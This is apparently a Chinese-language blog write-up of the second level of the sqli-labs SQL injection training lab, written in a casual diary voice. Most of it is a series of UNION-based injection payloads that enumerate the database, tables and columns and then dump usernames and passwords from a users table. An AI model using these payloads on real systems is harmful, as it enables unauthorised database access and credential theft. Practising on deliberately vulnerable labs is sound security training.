sqli-lab 2(冲关记录)

sqli-lab每日一冲

今天又是摸鱼的一天，眼看已经快快21点，速速开始今日一冲
今天带来的是第二关，欸嘿
废话不多说，开冲

less-2

’ or 1=1 --+
尝试注入发现报错
尝试多加一个’

成功！
我们来看一下源代码

第一次id传入后，变成了
select * from users where id=’ or 1=1 --+ limit 0,1
所以要再增加一个’
而第一关的源代码是

所以第一次传入第一个’将前面的’闭合然后用–+后把后面的注释即可
接下来重复第一关题目操作即可

重复的机械操作就直接上注入语句了（我是懒狗，懒得截图了）
查询库：?id=’’ union select 1,database(),3 --+

查询表名：?id=’’ union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=‘security’) --+

查询字段名：?id=’’ union select 1,database(),(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’) --+

查询内容：?id=’’ union select 1,group_concat(username),group_concat(password) from users --+

今日一冲！结束。